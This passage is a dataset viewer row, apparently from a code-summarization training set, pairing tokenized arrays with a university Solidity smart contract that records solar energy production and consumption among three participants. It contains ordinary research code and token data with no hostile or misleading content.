0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
21800,
332,
93,
42,
303,
75,
353,
14223,
6914,
16,
4232,
39,
3462,
288,
203,
565,
2254,
5034,
1071,
11732,
943,
3088,
1283,
273,
1059,
3462,
67,
8148,
20,
67,
3784,
67,
3784,
67,
3784,
380,
261,
2163,
2826,
15105,
10663,
203,
565,
2254,
2313,
1071,
5381,
4552,
67,
3194,
19666,
2833,
273,
12619,
31,
203,
203,
565,
1426,
1071,
6454,
273,
629,
31,
203,
565,
1758,
1071,
640,
291,
91,
438,
58,
22,
4154,
273,
1758,
12,
20,
1769,
203,
565,
1758,
1071,
8363,
1887,
273,
374,
92,
12648,
12648,
12648,
12648,
2787,
72,
41,
69,
40,
31,
203,
203,
565,
2254,
5034,
1071,
11732,
30143,
14667,
273,
374,
31,
203,
565,
2254,
5034,
1071,
11732,
357,
80,
14667,
273,
374,
31,
203,
565,
2254,
5034,
1071,
1131,
2175,
3039,
273,
374,
31,
203,
565,
2254,
5034,
1071,
943,
2175,
3039,
273,
374,
31,
203,
565,
2874,
12,
2867,
516,
2254,
5034,
13,
3238,
389,
5345,
3039,
2173,
3335,
31,
203,
203,
565,
445,
389,
5771,
1345,
5912,
12,
203,
3639,
1758,
628,
16,
203,
3639,
1758,
358,
16,
203,
3639,
2254,
5034,
3844,
203,
203,
565,
445,
389,
5205,
1345,
5912,
12,
203,
3639,
1758,
628,
16,
203,
3639,
1758,
358,
16,
203,
3639,
2254,
5034,
3844,
203,
97,
203,
203,
97,
203,
203,
683,
9454,
18035,
560,
3602,
20,
18,
28,
18,
20,
31,
203,
203,
565,
3885,
1435,
4232,
39,
3462,
2932,
16507,
332,
93,
478,
303,
75,
3113,
315,
22026,
303,
75,
20,
92,
7923,
288,
203,
3639,
2
]
|
pragma solidity ^0.4.24; // define version of solidity to be used
// Copyright (c) TUT Tampere University of Technology 2015-2018.
// This software has been developed in Procem-project funded by Business Finland.
// This code is licensed under the MIT license.
// See the LICENSE.txt in the project root for the license terms.
//
// Main author(s): Ville Heikkila, Otto Hylli, Pekka Itavuo,
// Teemu Laukkarinen ja Ulla-Talvikki Virta
// smart contract for recording the usage of solar power by its consumers
contract SolarUsage {
// predefined number of participants including 1 producer and consumers
uint8 constant public PARTICIPANT_TOTAL = 3;
// scaling factor used to scale energy from contract's representation to kilowatt hours
uint public constant SCALE = 1000000;
// type of participants
enum ParticipantType { Consumer, Producer }
// define what information about a participant (consumer / producer) is recorded.
struct Participant {
string name; // participant name for human convenience
ParticipantType participantType; // consumer / producer
// energy usage / production from the current period
uint latest;
// total energy usage / production
uint total;
// for producer how much of total was used by consumer participants
// for consumer how much power from producer it has used
uint localUsage;
// has the participant yet reported its energy for the current period
bool reported;
}
// participants mapped by their ethereum account i.e. public address
mapping( address => Participant ) public participants;
// list of participant addresses
// note this is required since you cannot get list of keys from above mapping
address[] public participantAddresses;
// address of the producer so you don't have to find it by using the address list and mapping
address public producer;
// tells if everybody have registered or not i.e. can participants start to report their energy
bool public isEverybodyRegistered = false;
// timestamp for when everybody did register
// tells for which moment forward the contract contains information
uint public everybodyRegisteredTime;
// how many of the participants have reported their energy for the current period
uint8 public reportedNum = 0;
// how much energy has been used by the consumers in this period
uint public latestTotalUsed = 0;
// define events emitted by functions
// the permitted number of consumers i.e. PARTICIPANT_TOTAL -1 have registered
event EverybodyRegistered();
// the producer has produced energy for this period
event ProducedEnergy( address who, string name, uint amount );
// a consumer has consumed energy for this period
event ConsumedEnergy( address who, string name, uint amount );
// for this period a consumer has used the amount of solar energy and its total energy usage for the period was ofTotal
event UsedSolar( address who, string name, uint amount, uint ofTotal );
// everybody have reported their energy for this period and the usage has been calculated
event RoundCompleted();
// define modifiers which can be used to restrict when functions can be called
// function can be used only if everybody have not yet registered
modifier everybodyNotRegistered {
require( participantAddresses.length < PARTICIPANT_TOTAL, "Everybody have already registered." );
_;
}
// function can be called only if everybody have already registered
modifier everybodyRegistered() {
require( participantAddresses.length == PARTICIPANT_TOTAL, "Everybody have not yet registered." );
_;
}
// function can be called only by a participant
modifier isParticipant {
// check if the address of the sender of the transaction is in the participant addresses list
bool found = false;
for ( uint8 i = 0; i < participantAddresses.length && !found; i++ ) {
found = participantAddresses[i] == msg.sender;
}
require( found, "Should be a participant." );
_;
}
// constructor that can be given the name of the producer who is supposed to create the contract instance
constructor( string name ) public {
// mark the sender of the contract creation transaction as the energy producer
producer = msg.sender;
// add the producer as a participant
addParticipant( name, ParticipantType.Producer );
}
// registers the sender as a consumer with the given name
// can be called only if everybody have not yet registered
// todo: should check that same participant does not register again
function registerAsConsumer( string name ) public everybodyNotRegistered {
// add as participant
addParticipant( name, ParticipantType.Consumer );
// if we have all allowed participants emit the EverybodyRegistered event, mark everybody registered and get the time
if ( participantAddresses.length == PARTICIPANT_TOTAL ) {
emit EverybodyRegistered();
isEverybodyRegistered = true;
everybodyRegisteredTime = now;
}
}
// participant can report its energy usage / production for a period
// amount should be energy in kilo wat hours multiplied by the scale
function reportEnergy( uint amount ) public everybodyRegistered isParticipant {
// get the struct for the participant
Participant storage participant = participants[ msg.sender ];
// check that the participant has not already reported for this period
require( !participant.reported, "Participant has already reported for this round." );
if ( participant.participantType == ParticipantType.Consumer ) {
// for consumer add its energy for the total energy usage for this period
latestTotalUsed += amount;
// and emit ConsumedEnergy event with the participants info.
emit ConsumedEnergy( msg.sender, participant.name, amount );
}
else {
// this is a producer so emit ProducedEnergy event
emit ProducedEnergy( msg.sender, participant.name, amount );
}
// add the period's energy to participant's overall total
participant.total += amount;
// save period's energy
participant.latest = amount;
// mark participant as reported for this period
participant.reported = true;
// mark that one more participant has reported
reportedNum++;
if ( reportedNum == PARTICIPANT_TOTAL ) {
// when everybody has reported for this period calculate how much solar energy each consumer has used
calculateUsage();
}
}
// calculates the amount of solar energy each consumer has used for the current period
// energy is shared equally between consumers
function calculateUsage() private {
// mark reportedNum as 0 so that next period can begin after this
reportedNum = 0;
// get producer's info
Participant storage prod = participants[ producer ];
// the amount of energy produced for this period
uint producerLatest = prod.latest;
// go through each consumer and calcualte their share of the solar energy
for ( uint8 i = 0; i < participantAddresses.length; i++ ) {
// get participant's info
address participantAddr = participantAddresses[i];
Participant storage participant = participants[ participantAddr ];
// mark as not reported so participant can report next period
participant.reported = false;
// get latest so it can be set as zero
uint latest = participant.latest;
participant.latest = 0;
if ( producerLatest == 0 || latestTotalUsed == 0 ) {
continue; // if no energy was produced or consumed we don't have to do anything more just prepare participants for next period
}
if ( participant.participantType == ParticipantType.Consumer ) {
// calculate maximum amount of energy the participant could get from the producer
// consumer's share depends on how much of the total used energy it used
uint share = (producerLatest *latest) /latestTotalUsed;
// how much consumer actually used of its share
uint used = 0;
if ( share <= latest ) {
// used all of its share
used = share;
}
else {
// enough solar energy for all of the consumer's needs and some extra
used = latest;
}
// add to consumer's total usage
participant.localUsage += used;
// add to producer's local usage
prod.localUsage += used;
// emit event about consumer's usage of solar energy for this period
emit UsedSolar( participantAddr, participant.name, used, latest );
}
}
// set to 0 for next period
latestTotalUsed = 0;
emit RoundCompleted();
}
// used internally to add a participant with given name and type
function addParticipant( string name, ParticipantType pType ) private {
// add struct representing participant to mapping
participants[ msg.sender ] = Participant( name, pType, 0, 0, 0, false );
// add address to addresses
participantAddresses.push( msg.sender );
}
} | a consumer has consumed energy for this period | event ConsumedEnergy( address who, string name, uint amount );
| 946,090 | [
1,
69,
4765,
711,
12393,
12929,
364,
333,
3879,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
871,
22210,
329,
664,
31920,
12,
1758,
10354,
16,
533,
508,
16,
2254,
3844,
11272,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.